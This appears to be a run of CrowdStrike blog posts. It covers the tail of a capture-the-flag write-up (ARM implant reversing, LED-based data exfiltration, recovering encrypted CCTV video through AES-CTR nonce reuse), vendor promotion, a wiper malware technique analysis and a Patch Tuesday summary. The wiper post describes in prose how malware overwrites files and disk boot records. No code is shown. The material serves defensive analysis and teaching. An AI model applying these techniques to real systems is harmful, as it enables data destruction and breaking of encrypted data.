Both fields can be fixed, for example using dd. The first command in the following excerpt updates e_shoff which points to the start of the section header table. The second command updates e_shstrndx which contains the index of the section header table entry.

After these modifications, the binary can be loaded and executed within gdb. Setting a breakpoint at the address where the unknown jump occurs (bx r7) the address is revealed:

So the jump basically jumps back, right behind the jump where the execution came from inside the main function. Important to note is that this jump instruction (0x103ed) is not aligned to 4 byte but off by one. On ARM, this will enter the thumb mode and all subsequent instructions are interpreted as thumb instructions. This is why Ghidra was not able to automatically disassemble the instructions right away.

After enabling thumb mode disassembly in Ghidra, the code block can be analyzed. As already seen in the strace output before, a password file is first opened and read into memory. Using strace, it was also revealed that after reading the whole input file (probably containing the flag) the code writes the output file (“/tmp/.Font-Unix”) byte by byte. Because of that it is reasonable to look for a loop with a write syscall (svc 0x04) and spot the routine that prepares register r1 which will hold the address to the byte that gets written. There is one loop in the discovered thumb-instruction code block with this pattern:

Inspecting this loop reveals the crypto mechanism applied, which is a stream-cipher using register r6 as the current keystream character. This register r6 is initialized with the value 0xa5 and the length of the plaintext before the loop, and its value (the keystream) is derived in each iteration by counting in a constant, as well as the last ciphertext character.

With this knowledge, a decryption routine can be implemented that takes a ciphertext, derives the keystream and recovers the plaintext.

The ciphertext is then decrypted using this script:

Analysis of Binary lds

The second binary named lds is not stripped. An analysis is therefore rather easy, and for this challenge not necessary, but for the next one.

The binary, as Ghidra’s decompilation reveals, takes a parameter that is the path to a local file.

After renaming variables, the decompilation of the function transmission_send_file() looks as follows:

It shows that this function opens a file, reads its content, and passes the data and its length to another function named transmission_send_data(). Before and after, two other functions named transmission_send_start() and transmission_send_end() are called. Both functions support the assumption that these functions are sending a prefix and postfix for a data transmission via a yet unknown channel.

The decompilation of the function transmission_send_data() reveals that the function iterates through the data and then calls channel_set_state() for every bit. The first first function argument is always 1 and seems to be used like a clock signal that is toggled for every bit while the second argument to that function will be passed the actual data bits.

Decompiling the function channel_set_state() shows that this program uses the LEDs on a Raspberry pi (via /sys/class/leds/led{0,1}/brightness) to send out both arguments. The toggling LED (the green LED on the device) is used for the clock while the red LED is used for the payload.

This knowledge can now be implemented in a decoder, which is needed for the next challenge:

Challenge #4: “Eyes Open”

Our investigation so far suggests that PROTECTIVE PENGUIN has the ability to view hardware devices inside the labs. Motivated by this, further review has revealed that the actor exploited a network attached storage device that is used by the surveillance system to host CCTV footage. Fortunately, this footage is encrypted on a regular basis — but is the encryption strong enough to prevent PROTECTIVE PENGUIN from getting access to the decrypted stream?

Reviewing the Python script named shows that the script uses the library cv2 to record CCTV footage using a connected webcam, and creates a bz2-compressed tarball with an encrypted and post-processed version of the initially recorded footage. Besides the script, a tarball is given that contains the encrypted video and audio stream of the CCTV footage.

The script also shows that both streams are extracted using ffmpeg callouts (“ffmpeg …”)), and both streams are encrypted using AES in Counter mode (CTR mode) using a randomly generated nonce and key. CTR mode turns the AES block cipher into a stream cipher by generating a keystream that is then XORed with the plaintext to generate the ciphertext. This encryption is considered to be secure as long as the key or the nonce are securely generated and stored, and both are not reused together.

The class that is used to record the video also adds an audio stream to the video, using a hardcoded command with a ffmpeg callout. This command will generate an audio stream using the anullsrc ffmpeg filter, which adds silence to the video.


Reusing the nonce and key for both streams is a vulnerability that can be exploited to gain the plaintext of the video stream. Replaying the commands will reveal that in fact the plaintext of the audio stream is deterministic and predictable because silence was added:

(Click to enlarge)

Due to the silence, the payload of the audio stream consists of the byte 0x80 while the header of the audio stream can be guessed. This will make it possible to recover the keystream without knowing the key and the nonce, and because the keystream is used for both the audio and the video stream, the unencrypted video stream can be recovered as well.

For the attack, the tarball is unpacked and the expected plaintext audio stream is generated, for example, using the script with the small modification that dumps the unencrypted video and audio stream in a test run. Then, the ciphertext of the audio stream is XORed against the expected plaintext audio stream to obtain the keystream. The keystream is then XORed against the ciphertext of the video stream to recover the plaintext video stream.

In the decrypted video we see LED’s of a Raspberry Pi blinking, as this excerpt shows:

We learn that this appears to show the device that was targeted in the previous challenge and we can process or manually review the video (for example by extracting the frames using ffmpeg and reviewing the frames to avoid confusion) to extract a bit string as exfiltrated by the lds binary seen in the previous challenge. By decoding and decrypting the payload, we obtain the final flag:

(Click to enlarge)

Final Remarks

This concludes the CrowdStrike Intelligence Adversary Quest 2022. In the PROTECTIVE PENGUIN track, players were asked to analyze the activities around an intrusion into a research institute. They first had to reproduce an attack on a smart lock protecting entry to the facility. Inside the institute, the actor gained root access to a machine by escalating privilege and reproducing this attack was the second challenge. The third and fourth challenge of this track were about analyzing an implant, deployed on an air-gapped host, exfiltrating data by letting LEDs of the host blink. These blinking lights were recorded by the research facility’s CCTV system. While the footage is stored encrypted, PROTECTIVE PENGUIN was able to exploit a weakness in the encryption scheme, allowing them to decrypt the recordings without knowing the key.

We hope you enjoyed the Adversary Quest and prepare well for the next one. Feel free to drop us an email at [email protected], especially if you published a writeup, want to provide some feedback or have any questions. Also note that CrowdStrike is constantly hiring talented cybersecurity professionals!

Additional Resources

Why XDR Should Be on Your Roadmap for SOC Success

16 August 2022 at 13:14

Fighting modern adversaries requires having a modern security operations center (SOC), especially as organizations move to the cloud. To protect their estates against tomorrow’s threats, security professionals have often turned to more data sources and adding more security monitoring tools in their operations, both in the pursuit of maximizing their attack surface visibility and reducing time to detect and respond to threats. 

Unfortunately, this strategy has reaped mixed returns, sometimes even aggravating existing problems that plague security professionals. In fact, a recent study conducted by ESG, “SOC Modernization and the Role of XDR,” which surveyed approximately 370 IT and security professionals across North America in early 2022, revealed that 52% of respondents believe security operations are getting harder.

Source: “SOC Modernization and the Role of XDR”, ESG 2022. Join CrowdStrike and ESG on August 25 as we discuss the latest trends in security operations and the industry opportunity around extended detection and response (XDR).

Growing volumes of data sources have left security teams inundated with information they can’t operationalize in time to face threats in the wild. Siloed security monitoring tools lack holistic views of the enterprise, enabling adversaries to exploit lingering blind spots. Unending alerts bloated by false positives leave already lean analyst teams burnt out and numb, struggling to prioritize and respond to the alerts that really matter. Finally, the innate complexity of SOC operations, coupled with the growing sophistication of threats, have obstructed inroads to automating workflows — proving that human expertise remains essential, but leaving teams critically outpaced in the fight against modern attacks.

In response to this, SOC teams have turned to multiple strategies. They’re investing in skills training to counter industry shortages. They’re putting greater weight on tools that use machine learning and advanced analytics to reduce noise and increase detection fidelity. And topping their list of priorities, as indicated by ESG’s research, is to consolidate tools, redirecting their investments toward platforms that can help them do more with less — streamlining their operations, maximizing their attack surface coverage and improving mean time to detect/respond (MTTD/MTTR), all in service of the ultimate goal of stopping breaches

Among the solutions gaining traction in the industry is extended detection and response (XDR) — and for good reason. XDR builds on the foundation of endpoint detection and response (EDR) by integrating cross-domain security data such as endpoint data, network data and identity data from across the organization, including integrating multi-vendor products. It centralizes intelligence across silos to expand visibility and deliver richer context surrounding events. In doing this, XDR enables teams to improve the fidelity of their alerts and accelerate detection and response time, while simplifying operations and opening the door for automation and machine learning-based tools to continuously streamline operations. 

One of the persistent issues around XDR, as explained by CrowdStrike CTO Mike Sentonas, is that it has drawn such intense market interest that the term has fallen victim to frequent misuse, inadvertently contributing to more confusion as to what XDR actually is and does. In fact, the same survey by ESG reveals that the majority of respondents (60%) claim to already be using an XDR solution, but when asked to define XDR, they reported different definitions of what they believed it to be. 

This will be one of the focal points of my discussion with Dave Gruber, the principal analyst who oversaw ESG’s research on SOC Modernization and the rise of XDR. We believe that XDR is essential for addressing some of the biggest challenges faced by IT professionals today and paves the way for more agile, more effective threat hunting and IT SecOps. 

This conversation will be featured as a CrowdCast at 10 a.m. PDT on Thursday, August 25, 2022. I invite you to register today as we dive into the research to discuss: 

  • Why IT professionals say that SecOps is getting harder 
  • How IT professionals can apply industry frameworks like MITRE in their SecOps 
  • Defining XDR: What it is, what it isn’t and what makes a good XDR solution
  • How deploying an XDR solution can benefit your organization’s SecOps

Additional Resources

CrowdStrike Wins Technology Innovation Leadership Award, Continues Dominance in Endpoint Security Market

16 August 2022 at 05:00

CrowdStrike is proud to receive Frost & Sullivan’s 2022 Global Technology Innovation Leadership Award in the endpoint security sector. This recognition reflects CrowdStrike’s continued investment to drive innovation and deliver more value to its customers through its industry-leading Falcon platform.

The global shift to remote work has driven a tremendous increase in internet traffic, the number and diversity of endpoint devices, and adoption of BYOD (bring your own device) programs — all of which have contributed to the evolving complexity of endpoint security. Modern security tools must be able to defend against a vast spectrum of threats, from high-volume commodity cyberattacks to more sophisticated, targeted and evasive ones.

At CrowdStrike, our mission is stopping breaches, and we built the cloud-native CrowdStrike Falcon® platform to deliver the most advanced, holistic capabilities to defend the entire enterprise. Foundational to our platform are our industry-leading endpoint protection capabilities that span next-generation antivirus (NGAV), endpoint detection and response (EDR), extended detection and response (XDR), integrated threat intelligence, device control and firewall management — all delivered from a unified platform through a single lightweight, intelligent agent. In fact, more than 70% of CrowdStrike’s customers use four or more modules, underscoring the strength of this unified platform approach.

“CrowdStrike continues to evolve and refine its endpoint security solution to stay ahead of adversaries and stop breaches by securing the most critical areas at risk of compromise.”

— Frost & Sullivan, 2022 Technology Innovation Leader, Global Endpoint Security Industry

Building the Future of Enterprise Security

Stopping the most advanced adversaries requires relentless innovation. From Day One, CrowdStrike has worked to develop new innovations and defensive techniques to stay one step ahead of the adversaries. For example, our Falcon agent achieves low performance overhead by running detection technologies — including artificial intelligence and machine learning — both on the agent and in the cloud, without interfering with the user experience. CrowdStrike’s approach appeals to the growing number of CISOs who seek reduced agent bloat, improved protection and productivity, and stronger interoperability between the security products they use.

Innovations such as these, combined with CrowdStrike’s strong overall performance, have earned Frost & Sullivan’s recognition as an industry leader in endpoint protection:

“CrowdStrike leads the industry with regards to the application of artificial intelligence/machine learning to endpoint security, as well as providing unparalleled prevention of malware and malware-free attacks on and off the network.”

— Frost & Sullivan, 2022 Technology Innovation Leader, Global Endpoint Security Industry

While endpoint security is crucial, it’s one of many core capabilities available in the Falcon platform. Today’s forwarding-looking organizations must take a unified approach to detect and prevent attacks across endpoints, cloud workloads, identity and data. Our platform’s capabilities extend beyond the endpoint to include cloud security, identity protection, vulnerability management, security hygiene, threat intelligence, file integrity monitoring, observability and log management, and native security orchestration automation and response (SOAR). CrowdStrike leads the industry in delivering tightly integrated, complementary capabilities, in contrast to traditional approaches that require multiple point products and interfaces to access critical information.

An Industry-Leading Innovator

CrowdStrike quickly established itself as an endpoint security leader and continues to set the industry standard with continuous innovation and immense growth. We are privileged that more and more customers trust us to stop breaches. This success is the result of our best-in-class technology, relentless focus on driving the next stage of cybersecurity innovation, and human-led expertise, all combined with tight integrations across our platform.

In the last five years, CrowdStrike has achieved the highest growth rate across the global endpoint security industry; since 2018, we have recorded market share gains each year. The customer base has substantially grown in the United States and expanded into EMEA, Latin America and APAC as well. In the years to come, CrowdStrike strives to continue supporting organizations as they seek to strengthen their defenses against advanced security threats.

“Frost & Sullivan applauds CrowdStrike for establishing a rapidly strengthening position in the Endpoint Security market,” the report states. “CrowdStrike’s endpoint security solutions have had the highest growth rate over the last five years among global endpoint vendors, produced market share gains each year since 2018, and the highest three-year CAGR among the top ten endpoint vendors in a very crowded and competitive industry that demands continuous innovation.”

CrowdStrike continues to be the preeminent security leader across critical areas of enterprise security, as evidenced in the following achievements, awards and analyst recognitions:

Additional Resources

The Anatomy of Wiper Malware, Part 1: Common Techniques

This blog post is the first in a four-part series in which CrowdStrike’s Endpoint Protection Content Research Team will dive into various wipers discovered by the security community over the past 10 years. Our goal is to review in depth the various techniques employed by wipers that target the Windows operating system.


A wiper is a type of malware with a single purpose: to erase user data beyond recoverability. Wipers are used to destroy computer networks in public or private companies ranging from industrial to entertainment sectors. Threat actors also use wipers to cover up traces left after an intrusion, weakening their victim’s ability to respond.

Wipers gained popularity back in 2012, when Saudi Arabia’s Saudi Aramco and Qatar’s RasGas oil companies were targeted by threat actors using the Shamoon family of wipers. After four years in which little to no wiper activity was observed, the Shamoon wiper resurfaced in 2016 with threat actors having the same goals and targets in mind. 

The year 2017 put multiple wiper families on our radar. A wiper variant of Petya was used to target multiple institutions in Ukraine, Russia and western Europe. Institutions in Israel and Germany faced the wipers named SQLShred and Ordinypt, respectively, which masqueraded as ransomware. Middle Eastern companies again found themselves the target of a wiper, this time one named StoneDrill.

Little wiper activity was observed in the following three years. In 2018, South Korea was the host of the Olympic games that were targeted by threat actors using Olympic Destroyer. In late 2019 and early 2020, Dustman and ZeroCleare were used to target organizations in the energy and industrial sectors from the Middle East. 

In 2021 threat actors again targeted the Olympics, now hosted in Tokyo, with a wiper named Tokyo Olympic Wiper. In the same year, a pro-Palestinian wiper dubbed IsraBye was used to target Israeli organizations.

Already, 2022 has been the most active year yet for wipers. Ukraine, while fighting Russian forces in traditional warfare, has seen its government institutions targeted by numerous cyberattacks using the wipers CaddyWiper, DoubleZero, DriveSlayer, IsaacWiper, KillDisk and WhisperGate.


Over the years, threat actors have used different strategies to achieve their objectives. During that time, we’ve studied different adversary strategies that use wipers singularly or in combination with other destructive techniques. While quick and easy techniques can also have quick and easy countermeasures, the more advanced and lengthy ones may give victims a chance to react in time but usually not without difficulty. 

Ransomware and wipers share some techniques. Both walk the disk in search of files to modify or corrupt, and both are capable of making data recovery impossible for the victim. But in this latter aspect lies one of the biggest differences between the two threats: ransomware typically enables file restoration for victims who pay the ransom, whereas the objective of wipers is to destroy files beyond recoverability. Another difference is in performance; because wipers need not read the data from disk, they work faster and require fewer resources than ransomware.

One of the easiest techniques we’ve found in the analyzed wiper samples is to merely delete the files on disk. Yet this technique could allow forensics examiners to recover the files by carving them out from the raw disk. Because standard deletion is not a secure method, threat actors have resorted to overwriting target files with bogus data. To increase the speed of the operation, some wipers overwrite only the first part of the target file, while others resort to wiping the Master Boot Record (MBR). 

As we’ll discuss, these techniques vary in their unique advantages and weaknesses, as well as in the degrees of recoverability of destroyed data. Each of these techniques demands a different course of action to properly detect and respond to the various threats posed by destructive wiper malware families

File Discovery

In search of files to destroy or corrupt, most wipers recursively iterate through the file system by using Windows APIs like FindFirstFile and FindNextFile.

Figure 1. File iteration via FindFirstFile and FindNextFile APIs

While some wipers immediately overwrite their targets, Apostle, DoubleZero, SQLShred and WhisperGate construct a list of target files to be later processed by the wiping routine. This introduces a bit of overhead before the destructive functionalities are launched, buying the victim time to react.

Wipers are implemented to do as much damage as possible without crashing the operating system. During the file discovery operation, many wipers will implement different strategies to maintain the stability of the operating system. If critical files are overwritten, the machine will crash and the wiper may not achieve the desired outcome. In order to prolong the life of the machine, wipers can delay, skip or prioritize certain targets:

  • CaddyWiper, DoubleZero, IsaacWiper, SQLShred, and StoneDrill start the wiping routine with non-OS related drives (including mounted network shares) and directories
  • DoubleZero, CaddyWiper, KillDisk, SQLShred, and StoneDrill will skip certain directories (e.g., Windows, Program Files, ProgramData or others) from the wiper routine or delay their destruction at a later time of execution
  • KillDisk and WhisperGate skip certain file extensions like DLL, EXE, LIB, SYS
  • Ordinypt uses a list of targeted extensions similar to ransomware
  • CaddyWiper and SQLShred — if the configuration sets disk destruction — have been observed to first destroy target files and then destroy physical drives or disk volumes

File Overwrite

When it comes to overwriting files, wipers implement different techniques that achieve the same purpose. While some techniques are fairly common, others implement unique methods.

File System API

The standard method to overwrite a file is by using the CreateFile and WriteFile API combination. The first is used to grab a handle to the desired file and the second is used to overwrite the file contents with new data. This basic technique has been seen in multiple wiper families like CaddyWiper, DoubleZero, IsaacWiper, KillDisk, Meteor (including Stardust and Comet variants), Petya wiper, Shamoon, SQLShred, StoneDrill, and WhisperGate. Some wipers overwrite the entire file — a computationally costly operation — while others only overwrite a fixed number of bytes.

Figure 2. Determine file size, allocate memory and write to file

In Figure 2, Destover overwrites the entire file by determining its size via GetFileSize, allocates memory of the same size, excludes files based on their extension and overwrites the file using WriteFile


While the previous method was the most common among the researched samples, DoubleZero implements a second mechanism for overwriting files. In order to overwrite the entire file with zeros, this wiper uses the NtFsControlFile API to send the FSCTL_SET_ZERO_DATA control code to the file system driver along with the size of the file to be overwritten.

Figure 3. DoubleZero uses FCSTL_SET_ZERO_DATA to overwrite file contents

File Deletion

When the operating system deletes a file from disk, the corresponding sectors are not overwritten with “null” data, they are only marked as unused. This indicates that the raw sectors are free to use when other files are created. Ordinypt, Olympic wiper and Apostle wipers implement simple file deletion, where files are only deleted, not overwritten. In this case, the data can still be recovered from the disk via file carving techniques used in digital forensics. To make the files unrecoverable, secure file deletion needs to be implemented and it requires the files to be overwritten before they are deleted from the disk. 

Most wipers do not need to delete the files because their contents have been destroyed, but some implement file deletion. This is the case of Destover, KillDisk, Meteor (Stardust/Comet), Shamoon, SQLShred, and StoneDrill which overwrite the target files with random bytes. Only after replacing the file contents, the file is deleted from disk via the DeleteFile API. 

The following code snippet displays an implementation of File Deletion and File Overwrite found in the Shamoon wiper.

Figure 4. How Shamoon wiper overwrites and deletes files

Although families like Apostle and Ordinypt do not implement a secure deletion, they are still considered destructive because file carving is not a perfect recovery technique.

Drive Destruction

Some wipers go one step further and attempt to destroy the contents of the disk itself, not just files. This approach provides several advantages to attackers and makes recovery more difficult, if not impossible. Because files may be fragmented across the disk, wiping the files will require the hard disk drive actuator arm to commute to multiple locations, thus decreasing wiping speeds. Overwriting the raw sectors in successive order is advantageous because it drastically increases the speed of the wiping operation. This also applies to modern solid state drives where sequential access is still more performant than random access. 

Wiping raw sectors also removes any file system information like partitioning tables, journaling, parity data, metadata and even OS protected files. These operations are equivalent to raw full-disk formatting, ensuring that files cannot be recovered via any forensic methods.

Disk Write

Similar to the way files can be overwritten, IsaacWiper, KillDisk, Petya wiper variant, SQLShred, StoneDrill, WhisperGate and DriveSlayer use the same CreateFile and WriteFile APIs to overwrite physical disks (\\.\PhysicalDisk0) and/or volumes (\\.\c:) with either random or predefined bytes buffers. “PhysicalDisk0” is used to access the first sector of a disk, where the Master Boot Record (MBR) is stored, while “\\.\C:” will allow the wiper to reference the first sector of the partition. 

Figure 5. Overwrite the MBR of the drive 0 via CreateFile and WriteFile APIs

The code snippet displays an implementation found in various wipers to delete the MBR by directly accessing the disk. The MBR is a structure that resides in the first sector of the disk and holds information about how the disk is formatted into one or multiple partitions. Deleting this structure removes information about the partitions making the system unbootable and also the files present in the partitions inaccessible.

Disk Drive IOCTL

Instead of using the WriteFile APIs for overwriting the physical disk, CaddyWiper wipes the disk by sending it a Input/Output Control (IOCTL) code. The IOCTL_DISK_SET_DRIVE_LAYOUT_EX IOCTL is sent via the DeviceIoControl API alongside a buffer filled with zeros in order to wipe information about drive partitions including MBR and/or GUID Partition Table (GPT). 

The code snippet below displays the implementation found in CaddyWiper.

Figure 6. Wipers corrupt the disk layout using IOCTL_DISK_SET_DRIVE_LAYOUT_EX

File Contents

As discussed previously, wipers may implement destructive actions on the contents of the file to reduce chances of recovery. We observed multiple approaches when deciding the data to be written over the target files. Some samples overwrite the files with the same data across the entire length, others randomize the contents, while others write predefined buffers to the target files.

Overwrite with Same Byte Value

A simple method is to write the same byte over the entire file contents. Wiper families like CaddyWiper, DoubleZero, KillDisk, Meteor (with its Stardust/Comet variants) and SQLShred implement this technique. 

This method does not add any overhead to the wiping process, but might leave an opportunity to recover the data via magnetic-force microscopy.

Overwrite with Random Bytes

To avoid any potential weakness of the previous method, threat actors can decide to generate random data to be used while overwriting files. Even some forensic tools implement secure wiping by overwriting the disk or file multiple times with random data, leaving no chance for magnetic-force microscopy to recover the data. 

Oftentimes the random buffer is generated via the seed and rand functions, followed by a write to the file. Generating random data adds overhead, thus lengthening the wiping times. Destover, IsaacWiper, KillDisk, SQLShred and StoneDrill are a few examples of wipers that overwrite target files with random data.

IsaacWiper implements its own pseudorandom number generator to fill a memory buffer, an implementation of Mersenne Twister PRNG.

Figure 7. Malloc is used to “generate random” bytes that will be written to the file

In Figure 6, Destover takes advantage of a caveat in the malloc function to generate “random” data. Malloc will allocate a memory buffer, but it will contain residual data from previous usage of that memory page that is then written over the entire length of the file.

Overwrite with Predefined Data

The final method to discuss is the use of hard coded data to overwrite files. This method eliminates the overhead introduced by generating random bytes, thus increasing the speed of data destruction. 

Shamoon overwrites files with a predefined jpeg image that is hardcoded and obfuscated in the wiper binary. It uses the WriteFile API to write the image; the header of the jpeg is seen in the memory view in the second half of the screenshot.

Figure 8. Debugger view, showcasing the JPEG image being written to a file

In contrast, the wiper IsraBye writes only a message to the file contents, and it does not overwrite every byte in the file content, leaving some data available for forensics analysts to extract. However, even though it is not as destructive as others, this wiper is able to overwrite the file header, reducing the possibility of data carving or recovery. 

Figure 9. IsraBye code snippet used to file overwrite and file rename

How the CrowdStrike Falcon Platform Protects Customers Against Wipers 

The CrowdStrike Falcon platform takes a layered approach to protect workloads. Using on-sensor and cloud-based machine learning, behavior-based detection using indicators of attack (IOAs), and intelligence related to tactics, techniques and procedures (TTPs) employed by threat actors, the Falcon platform equips users with visibility, threat detection, automated protection and continuous monitoring to rapidly detect and mitigate threats in any environment.

Figure 10. Falcon UI screenshot showcasing detection of Apostle by Falcon sensor.

Figure 11. Falcon UI screenshot showcasing detection of Ordinypt by Falcon sensor.


Depending on the skill set of different threat actors, wipers have implemented different techniques in order to sabotage the operations of their targets. Most often, wipers use file system specific APIs to iterate through files and overwrite and delete as many as possible. 

Some wipers don’t target only the files from the victim’s machine, but may also target the raw disk. This latter technique provides several advantages like increased wiping speeds for example. Also, it may bypass security measures implemented by the file system or operating system and may even be invisible to security products. 

To further increase the speed of the operations, some wipers do not overwrite the entire length of the target data, but only parts of it enough to make the files unrecoverable. To increase the destruction capability, randomizing the contents overwritten to the files seems like a good approach, but it becomes a time intensive task. An interesting and time efficient approach seen in some wipers is the usage of malloc to use garbage data to overwrite the target.

In part two of this wiper series, we will dive into how wipers use legitimate third-party drivers to destroy files as well as disk clusters.


Wiper name SHA256 hash value
Apostle 6fb07a9855edc862e59145aed973de9d459a6f45f17a8e779b95d4c55502dcce


CaddyWiper a294620543334a721a2ae8eaaf9680a0786f4b9a216d75b55cfd28f39e9430ea
Destover e2ecec43da974db02f624ecadc94baf1d21fd1a5c4990c15863bb9929f781a0a
DoubleZero 3b2e708eaa4744c76a633391cf2c983f4a098b46436525619e5ea44e105355fe


DriveSlayer 0385eeab00e946a302b24a91dea4187c1210597b8e17cd9e2230450f5ece21da



Dustman f07b0c79a8c88a5760847226af277cf34ab5508394a58820db4db5a8d0340fc7
IsaacWiper 13037b749aa4b1eda538fda26d6ac41c8f7b1d02d83f47b0d187dd645154e033


IsraBye 5a209e40e0659b40d3d20899c00757fa33dc00ddcac38a3c8df004ab9051de0d
KillDisk 8a81a1d0fae933862b51f63064069aa5af3854763f5edc29c997964de5e284e5


Meteor and Comet/Stardust 2aa6e42cb33ec3c132ffce425a92dfdb5e29d8ac112631aec068c8a78314d49b




Ordinypt ​​085256b114079911b64f5826165f85a28a2a4ddc2ce0d935fa8545651ce5ab09
Petya 0f732bc1ed57a052fecd19ad98428eb8cc42e6a53af86d465b004994342a2366



Shamoon e2ecec43da974db02f624ecadc94baf1d21fd1a5c4990c15863bb9929f781a0a






SQLShred/Agrius 18c92f23b646eb85d67a890296000212091f930b1fe9e92033f123be3581a90f


StoneDrill 62aabce7a5741a9270cddac49cd1d715305c1d0505e620bbeaec6ff9b6fd0260



Tokyo Olympic wiper fb80dab592c5b2a1dcaaf69981c6d4ee7dbf6c1f25247e2ab648d4d0dc115a97


WhisperGate a196c6b8ffcb97ffb276d04f354696e2391311db3841ae16c8c9f56f36a38e92



ZeroCleare becb74a8a71a324c78625aa589e77631633d0f15af1473dfe34eca06e7ec6b86

Additional Resources

  • Find out more about today’s adversaries and how to combat them at Fal.Con 2022, the cybersecurity industry’s most anticipated annual event. Register now and meet us in Las Vegas, Sept. 19-21! 
  • Learn how the powerful CrowdStrike Falcon platform provides comprehensive protection across your organization, workers and data, wherever they are located.
  • Get a full-featured free trial of CrowdStrike Falcon Prevent™ and see for yourself how true next-gen AV performs against today’s most sophisticated threats.

August 2022 Patch Tuesday: 17 Critical CVEs and Two Zero-Days, One Under Active Exploitation

11 August 2022 at 21:44

Microsoft has released 121 security patches for its August 2022 Patch Tuesday rollout. Seventeen vulnerabilities are rated Critical in severity and the rest are classified as Important, with one (CVE-2022-34713) under active exploitation. In this blog, the CrowdStrike Falcon Spotlight™ team analyzes this month’s vulnerabilities, highlights the most severe CVEs and recommends how to prioritize patching. 

August 2022 Risk Analysis

For the second month in a row, elevation of privilege continues to be the most commonly used attack type (53%), followed by remote code execution at about 25% and information disclosure at 10%. Elevation of privilege — used as an attack type in one of this month’s two zero-day vulnerabilities, both of which we analyze in detail below — is an easy attack type for even unsophisticated attackers to employ because many organizations often lack adequate security measures and controls. Rigorously enforcing the principle of least privilege, and knowing where the most sensitive company data is stored, is critical for creating a defensive security posture.

Figure 1. Breakdown of August 2022 Patch Tuesday attack types

Microsoft’s Windows product received the most patches this month including 45 Azure vulnerabilities — 34 of them affecting Azure Site Recovery Service, which also saw many CVEs patched in July 2022. CrowdStrike Falcon for Azure offers comprehensive visibility into Azure workload events, and virtual machine metadata enables detection, response, proactive threat hunting and investigation to help ensure nothing goes unseen in your cloud environments. 

This month, there are two zero-day vulnerabilities, one affecting Microsoft Exchange Server and the other impacting Microsoft Windows Support Diagnostic Tool (MSDT).

Figure 2. Breakdown of product families affected by August 2022 Patch Tuesday

Two Zero-Day Vulnerabilities Affect Microsoft Exchange Server and Microsoft Windows Support Diagnostic Tool (MSDT)

An actively exploited Microsoft Windows Support Diagnostic Tool (MSDT) remote code execution vulnerability known as “DogWalk” (CVE-2022-34713) now has an update. This CVE was first discovered in January 2020, however Microsoft did not classify it as a vulnerability at the time. However, when security researchers reported the zero-day remote code execution vulnerability called “Follina” (CVE-2022-30190) on May 27, 2022, it reignited the push to classify and fix the DogWalk vulnerability. As shown in Figure 3, this CVE is ranked as Important.

Rank CVSS Score CVE Description
Important 7.8 CVE-2022-34713 Microsoft Windows Support Diagnostic Tool (MSDT) Remote Code Execution Vulnerability
Important 7.6 CVE-2022-30134 Microsoft Exchange Server Elevation of Privilege Vulnerability

Figure 3. Zero-day bugs patched this month

The second zero-day vulnerability, CVE-2022-30134, targets Microsoft Exchange Server. This CVE utilizes the information disclosure attack type, which allows an attacker to read targeted email messages. Figure 4 lists three Critical vulnerabilities affecting Microsoft Exchange Server that could allow an authenticated attacker to take over the mailboxes of all Exchange users. If utilized, an attacker could read and send emails or download attachments from any mailbox on Microsoft Exchange Server. In addition to patching, administrators will also need to enable Extended Protection to fully address these vulnerabilities.

Rank CVSS Score CVE Description
Critical 8 CVE-2022-21980 Microsoft Exchange Server Elevation of Privilege Vulnerability
Critical 8 CVE-2022-24477 Microsoft Exchange Server Elevation of Privilege Vulnerability
Critical 8 CVE-2022-24516 Microsoft Exchange Server Elevation of Privilege Vulnerability

Figure 4. Critical vulnerabilities affecting Microsoft Exchange Server

Critical Vulnerabilities in Windows PPP, SSTP and SMB

Two Critical Windows Point-to-Point Protocol (PPP) remote code execution vulnerabilities — both with a 9.8 CVSS score — and six Critical Windows Secure Socket Tunneling Protocol (SSTP) remote code execution vulnerabilities received patches this month. As you may know, these older protocols should be blocked at the perimeter and only be used if you absolutely need them. CVE-2022-35804, an SMB Client and Server remote code execution vulnerability, would allow a remote, unauthenticated attacker to execute code with elevated privileges on affected SMB servers. It should be noted that this bug affects Windows 11 only and could potentially be wormable between affected Windows 11 systems with SMB server enabled.

Rank CVSS Score CVE Description
Critical 9.8 CVE-2022-30133 Windows Point-to-Point Protocol (PPP) Remote Code Execution Vulnerability
Critical 9.8 CVE-2022-35744 Windows Point-to-Point Protocol (PPP) Remote Code Execution Vulnerability
Critical 8.8 CVE-2022-35804 SMB Client and Server Remote Code Execution Vulnerability
Critical 8.1 CVE-2022-34702 Windows Secure Socket Tunneling Protocol (SSTP) Remote Code Execution Vulnerability
Critical 8.1 CVE-2022-34714 Windows Secure Socket Tunneling Protocol (SSTP) Remote Code Execution Vulnerability
Critical 8.1 CVE-2022-35745 Windows Secure Socket Tunneling Protocol (SSTP) Remote Code Execution Vulnerability
Critical 8.1 CVE-2022-35766 Windows Secure Socket Tunneling Protocol (SSTP) Remote Code Execution Vulnerability
Critical 8.1 CVE-2022-35767 Windows Secure Socket Tunneling Protocol (SSTP) Remote Code Execution Vulnerability
Critical 8.1 CVE-2022-35794 Windows Secure Socket Tunneling Protocol (SSTP) Remote Code Execution Vulnerability

Figure 5. Critical vulnerabilities in Windows PPP, SSTP and SMB

Important Print Spooler and Windows Network File System Vulnerabilities

August 2022 is the fourth month in a row in which Microsoft is offering a patch for a Network File System (NFS) remote code execution vulnerability. CVE-2022-34715, a Windows NFS remote code execution vulnerability, is rated as Important and has been assigned a CVSS of 9.8. To exploit this vulnerability, a remote, unauthenticated attacker would need to make a specially crafted call to an affected NFS server, providing the threat actor with elevated privileges for code execution. While Microsoft lists this as Important in severity, CrowdStrike analysts recommend that this vulnerability be treated as Critical. Falcon Spotlight customers will receive a critical indicator so they can properly prioritize patching.

Rank CVSS Score CVE Description
Important 9.8 CVE-2022-34715 Windows Network File System Remote Code Execution Vulnerability
Important 7.3 CVE-2022-35755 Windows Print Spooler Elevation of Privilege Vulnerability
Important 7.3 CVE-2022-35793 Windows Print Spooler Elevation of Privilege Vulnerability

Figure 6. Important Print Spooler and Windows NFS vulnerabilities

CVE-2022-35755 and CVE-2022-35793 are elevation of privilege vulnerabilities located in Windows Print Spooler components, both rated as Important with a CVSS of 7.3. The first CVE can be exploited using a specially crafted input file, while exploitation of CVE-2022-35793 requires a user to click on a specially crafted URL. Both could potentially give the attacker SYSTEM privileges. These vulnerabilities can be mitigated by disabling the Print Spooler service, but CVE-2022-35793 can also be mitigated by disabling inbound remote printing via Group Policy.

Is It Time to Adjust Your Patching Strategy?

